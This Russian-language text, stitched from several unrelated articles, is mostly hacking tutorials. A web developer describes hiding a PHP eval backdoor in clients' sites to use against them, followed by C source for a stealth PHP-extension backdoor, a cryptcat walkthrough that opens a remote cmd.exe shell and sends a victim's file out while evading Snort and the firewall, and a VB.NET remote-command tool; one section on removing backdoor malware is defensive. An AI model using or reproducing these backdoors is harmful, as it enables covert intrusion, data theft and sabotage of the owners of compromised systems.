Пишем бэкдор. Пишем расширение-бэкдор для PHP

Помнится в статье "10 советов и рекомендаций по заказу сайта" я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.

Однако меня спало то, что в одном из сайтов у меня остался небольшой "запасной вход", благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.

С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.

Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.

В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.

Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…

  1. Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
  2. Пишем в нём код

    if (isset($_POST["text"]))
    eval ($_POST["text"]);
    ?>




  3. Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)

Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.

Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.

Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.

Идеи для улучшения :

  1. Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный.htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред. ).
  2. Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
  3. Ещё идеи?

Напоследок

Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.

На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч

Сегодня речь пойдет о написании бэкдора для PHP в виде расширения. Как правило, большинство взломщиков оставляют какие-либо куски кода в пользовательских скриптах. Естественно, подобные вещи легко находятся благодаря . Преимущества расширения очевидны:

  • затруднен поиск
  • обход disable_functions
  • возможность контроля всего кода
  • доступ к выполнению кода по секретному параметру

Но без минусов в данном случае не обошлось, нужна возможность редактирования файла конфигурации php.

В качестве примера, писать буду под Windows. Для написания расширения я использовал Visual Studio 2012 Express Edition. Также понадобятся исходники нужной версии PHP и собранные библиотеки (можно собрать из тех же исходников). Для простоты скачаем и исходники

Распакуем собранный PHP в C:\php, а исходники в C:\php-src.

Затем нужно произвести некоторые настройки VS.

1) Добавить определения препроцессора:
ZEND_DEBUG=0
ZTS=1
ZEND_WIN32
PHP_WIN32

2) Добавить каталоги для подключения исходников: C:\php-src\main;C:\php-src\Zend;C:\php-src\TSRM;C:\php-src\regex;C:\php-src

3) Добавить дополнительный каталог с либой php5ts.lib (C:\php\dev )


4) Добавить подключение библиотеки php5ts.lib.


5) Указать путь к собранному файлу.


Настроив параметры студии для разработки расширения (подробнее можно прочитать ), создадим новый проект backdoor типа «Консольное приложение Win32».


Выберем тип: «Библиотека DLL»

Затем, удалим из проекта лишние файлы. Должны остаться только backdoor.cpp , stdafx.cpp и stdafx.h .
В файл заголовков stdafx.h поместим следующий код:

#pragma once #ifndef STDAFX #define STDAFX #include "zend_config.w32.h" #include "php.h" #endif

Теперь перейдем непосредственно к коду расширения. Удалим все строки и добавим подключения необходимых файлов.

#include "stdafx.h" #include "zend_config.w32.h" #include "php.h"

Если настройки студии прошли верно, предупреждения исчезнут. При инициализации модуля существует несколько событий, каждое из которых происходит при определенных условиях. Нам необходимо выполнять наш код во время выполнения запроса. Для этого нужно инициализировать с нужной нам функцией, я выбрал в качестве имени «hideme».

PHP_RINIT_FUNCTION(hideme);

После этого можно переходить к инициализации модуля.

Zend_module_entry hideme_ext_module_entry = { STANDARD_MODULE_HEADER, "simple backdoor", NULL, NULL, NULL, PHP_RINIT(hideme), NULL, NULL, "1.0", STANDARD_MODULE_PROPERTIES }; ZEND_GET_MODULE(hideme_ext);

Как я уже писал, нам необходимо выполнение кода лишь во время запроса, поэтому запуск при загрузке и выгрузке модуля заменены на NULL. Теперь можно переходить к телу функции hideme.

PHP_RINIT_FUNCTION(hideme) { char* method = "_POST"; // суперглобальный массив, из которого берем пераметр и значение char* secret_string = "secret_string"; // параметр в котором будет evil-код zval** arr; char* code; if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { HashTable* ht = Z_ARRVAL_P(*arr); zval** val; if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // поиск нужного параметра в хеш-таблице code = Z_STRVAL_PP(val); // значение параметра zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); // выполнение кода } } return SUCCESS; }

По комментариям должно быть понятно. Первоначально, задаем параметры method и secret_string . Затем проходим по выбранному массиву и ищем параметр с подходящим ключом, если таковой есть, берем из него значение и выполняем код через zend_eval_string.

После сборки получим библиотеку, которую можно использовать в качестве расширения.

Демонстрация на GNU Linux

Демонстрация на Windows:

Cryptcat позволяет нам общаться между двумя системами и шифрует связь между ними с помощью twofish - одного из многих прекрасных алгоритмов шифрования.

Ранее мы познакомились с одним маленьким , который позволяет создать соединение между любыми двумя машинами и передавать файлы или создать командную оболочку для "овладения" системой. Несмотря на красоту и элегантность этого маленького инструмента, он имеет один главный недостаток - передачи между компьютерами могут быть обнаружены такими устройствами безопасности, как брандмауэры и системы обнаружения вторжений (IDS).

В этом уроке познакомимся с популярным кузеном netcat, cryptcat (он на самом деле гораздо симпатичнее и более экзотический, чем простой netcat).

Поскольку шифрование twofish находится на одном уровне с шифрованием AES, то это делает cryptcat практически пуленепробиваемым. Таким образом, IDS не могут выявить вредное поведение даже тогда, когда его маршруты пролегают через такие обычные HTTP-порты 80 и 443.

Шаг 1: Загрузите Cryptcat

Шаг 2: Откройте слушателя на системе Windows

Мы можем открыть слушателя на любой системе с подобным синтаксисом, как для netcat. В нашем случае, мы открываем слушателя в системе Windows 7 на порту 6996 и создаем командную оболочку.

cryptcat -l -p 6996 -e cmd.еxе

L означает "открыть слушателя"
-p 6996 означает "разместить слушателя в порту 6996"
-e cmd.еxе означает "запустить командную оболочку для связи"

Шаг 3: Откройте Snort или другую IDS

Теперь, давайте запустим IDS типа Snort на другой системе, которая будет подключаться к системе Windows, чтобы увидеть, способно ли шифрование "ослепить" IDS, оставляя наш черный ход невидимым для подобных устройств безопасности.


Шаг 4: Подключитесь к системе Windows с Cryptcat

Cryptcat по умолчанию установлен на BackTrack , поэтому мы не должны загружать и устанавливать его. Кроме того, он находится в директории /bin, поэтому можем получить доступ к нему из любого каталога.

Теперь подключимся к системе Windows 7 cryptcat из нашей системы BackTrack и посмотрим, можем ли выполнить зашифрованное соединение бэкдор, которое почти невозможно обнаружить.

cryptcat 192.168.4.182.248 6996


Как Вы можете видеть, мы подключены к системе Windows 7 и получили командную оболочку из системы Win 7! Это дает нам значительный контроль над данной системой, но не тотальный, потому что командная оболочка имеет ограниченные возможности.

Шаг 5: Провеоьте журналы Snort и оповещения

Этот тип атаки (прохождение командной оболочки череж сеть) легко обнаруживается с помощью Snort или других IDS, когда соединение не шифруется. Правила Snort предупредят сисадмина, что cmd.exе оболочка проходит сетевое соединение, и они, вероятно, сделают что-то, чтобы удержать Вас от использования этой командной оболочки. С зашифрованным соединением, доступным с cryptcat, эту связь почти невозможно обнаружить.

Давайте вернемся назад и проверим журналы и оповещения в Snort. Если мы были успешными в уклонении от IDS, то не должны увидеть предупреждение о перемещении командной оболочки по сети. Мы можем проверить наши журналы, зайдя в /var/snort/alerts и посмотрев есть ли какие-либо сигналы, вызванные нашей связью с машиной Windows (обычно, мы должны найти предупреждение).

kwritе /var/snort/alerts


Как Вы можете видеть, мы добились успеха. Мы смогли подключиться к системе Windows, не привлекая внимания любой из систем безопасности!

Шаг 6: Отправьте Crypcat через порт 80, чтобы уклониться от брандмауера

Хотя мы успешно создали зашифрованный бэкдор на системе жертвы, пристальный администратор по безопасности заметит, что открытый необычный порт (6996). Это, скорее всего, будет инициировать какое-либо действие администратора по безопасности, чтобы ограничить наш доступ. Кроме того, в системах с хорошим системным администратором и хорошим брандмауэром, этот порт, вероятно, будет заблокирован брандмауэром.

Для любой сети, чтобы иметь возможность общаться в Интернете, скорее всего, нужно держать открытыми порты 80 и 443, но также, возможно, 25, 53 и 110. Поскольку в незашифрованном виде нормальный интернет-трафик проходит через порт 80, который почти всегда открыт, то незначительное увеличение трафика вряд ли замечено.

Теперь, когда мы успешно использовали cryptcat, вышлем его через порт 80 со всем остальным интернет-трафиком. Хотя он зашифрован, но будет выглядеть как и любые двоичные данные, передаваемые в линии. Поэтому будет почти невозможным для выявления устройствами безопасности, чтобы блокировать его, так как они всегда должны позволять трафик через порт 80, а трафик шифруется и IDS не сможет "видеть" его содержимое.

Здесь мы переместим файл из системы жертвы с названием topsecret.txt к нашей атакующей системе без выявления его любым устройством безопасности. На этот раз, вместо отправки командной оболочки через сеть, мы будем посылать совершенно секретный файл с именем topsecret.txt через наше зашифрованное соединение. Мы можем сделать это, набрав в командной строке Windows:

cryptcat -l -p 80 < topsecret.txt

L означает "открыть слушателя"
-p 80 означает "открыть слушателя на порту 80"
< означает "отправить файл через этого слушателя"

Чтение статьи займет: 3 мин.

Подбор чужого пароля – штука непростая, разве что его комбинация не банальное «qwerty». И напрасно пользователи инета, активно пользующиеся интернет-банкингом, клянут неведомых им хакеров, что увели дензнаки из их электронных кошельков путем подбора символов пароля. Все намного проще – в блужданьях по рунету обворованные пользователи сами того не ведая скачали довесок к интересующим их файлам, будь то музыка, видео или еще что-то. Они скачали spyware программу BackDoor и тут все началось…

В моем случае знакомство с бэкдорами свалилось на голову, подобно снегу в июле. После долгих раздумий я решил уйти с dial-up интернета на 3G, прикупив модем и трафик от билайн. Вернувшись с свежеприобретенным модемом домой, установив его ПО на комп, я нацелился на бешенный серфинг по инет-просторам – скорость-то должна была превысить диалаповскую, по меньшей мере, раз в 50. Все так вышло, только неожиданно в инет с моего ПК стали лезть неизвестные проги … Не обратив на действия этих самых программ должного внимания и выключив комп до следующего дня, на следующий день я обнаружил, что антивирус Др. Веб вырубился и не желает охотится на вирусы.

Черный ход в ПК для хакера

Что же за зверь такой этот BackDoor и как им не обзавестись, как удалить? «Черный ход», как переводится с английского backdoor, создается хакером и распространяется в популярных среди юзеров программах и файлах, по электронной почте (реже) – его код приписывается к ним хакером-распространителем. Так что качаем мы его самостоятельно и добровольно! Оказавшись в компе пользователя, вирус BackDoor прописывает себя в корневую папку windows и еще в кучу мест, блокирует работу антивируса и постоянно пересылает хозяину информацию о паролях и аккаунтах пользователя данного ПК. Кроме того, этот spyware-вирус активно распространяет себя с захваченного им компа, используя любой внешний контакт – аську, эл. почту, майл-агент, скайп, социальные сети и т.д.… Жесть, одним словом.

Что делать обычному, не изощренному в отражении хакерских атак, юзеру? Обнаружив spyware BackDoor в гостях на своем ПК – если у вас нет ни толкового фаерволла, ни антивируса, обнаружить будет трудно, только после кражи дензнаков и увода аккаунтов – обзаведитесь специализированной antispyware программой-антишпионом. У меня, к примеру, имеется Ad-Aware SE Personal, хоть и со старыми базами и в бесплатной версии, но эффективен до сих пор. Затем выбейте ею засранца-бэкдора из ключевых пунктов реестра, шустро переустановите антивирус и обновите его базы – задайте полное сканирование сразу после обновления и дождитесь его полного завершения, сколько бы времени не ушло на это!

Всем привет) Как вы уже заметили, сегодня расскажу как написать свой бэкдор "на любом языке" (Если вы умеете писать программы и у вас есть фантазия).

Итак начнем с того, что нам сначала нужно сделать связку админка-клиент. Для этого мы используем PHP , и всего лишь 5 строчек кода)

if ($_GET["cmd"] != "cmd_clear") { $cmd = fopen("cmd.txt", "w+"); //Создаем пустой файл, если существует такой очищаем его. fwrite($cmd, $_GET["cmd"]); //пихаем то, что в параметре "cmd", а там как мы помним было "msg(HelloWorld!)" fclose($cmd); //закрываем за собой файл } else { $cmd = fopen("cmd.txt", "w"); //Создаём новый файл (т.е. очищаем наш cmd.txt) fclose($cmd); //закрываем за собой файл }


Этот код я где-то спиздил нашел в просторах интернета.
Данный код будет оставлять команды для нашего бэкдора)

Итак приступим к админке, сначала набросаем на форме кнопку и текстбокс, и веббраузер, который я засунул на вторую, форму, чтобы он мне не мешал)

Далее перейдем к коду

Указываем наш сайт, дабы он загружался при запуске программы) и объявляем его глобальной переменной

Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load www = "http://localhost/" End Sub

Оживим кнопку, где мы говорим передать GET запрос на нашу админку на сайте, после cmd= наша команда) тег msg впоследствии нужен будет для обработки клиентом.

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Form2.WebBrowser1.Navigate(www & "rat/admin.php?cmd=< msg>" & TextBox1.Text & "< /msg>") TextBox1.Text = "" End Sub

Наша админка готова)

Перейдем к клиенту) ничего не бросаем на форму, кроме таймера)

Давайте пропишем работу таймера по которому наша программа будет проверять сайт (файл cmd.txt) ну и конечно таймер запускается вместе с программой)) Так же как и в админке, объявим глобальные переменные, теперь их две, а еще нам нужно подключить две библиотеки

Imports System.Text Imports System.IO Public WC As New System.Net.WebClient Public www As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load www = "http://localhost/" Timer1.Enabled = True Timer1.Interval = 5000 End Sub

Для удобства я сделал искусственную задержку

Ну и теперь код самого таймера, т.е. то что должно исполняться) Сначала отпарсим наши данные) для этого мы и указывали тег msg , ну а дальше командой Shell запускаем командную строку с указанными командами)

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick Dim R() As String = {"< msg>"} Dim L() As String = {"< /msg>"} Dim myHttpWebRequest As Net.HttpWebRequest = Net.HttpWebRequest.Create(www & "rat/cmd.txt") Dim myHttpWebResponse As Net.HttpWebResponse = myHttpWebRequest.GetResponse() Dim myStreamReader As New IO.StreamReader(myHttpWebResponse.GetResponseStream, System.Text.Encoding.GetEncoding(1251)) Dim Str As String = myStreamReader.ReadToEnd() If InStr(Str, R(0)) 0 Then Dim Tmp As String = Str.Split(R, StringSplitOptions.None)(1) Dim Res As String = Tmp.Split(L, StringSplitOptions.None)(0) WC.DownloadString(www & "rat/admin.php?cmd=clear_cmd") Wait(2) Shell("cmd.exe " + Res) Else End If End Sub


P.S. если вам интересна данная статья, то в следующий раз я сделаю статью о том, как скрыть действия нашего клиента.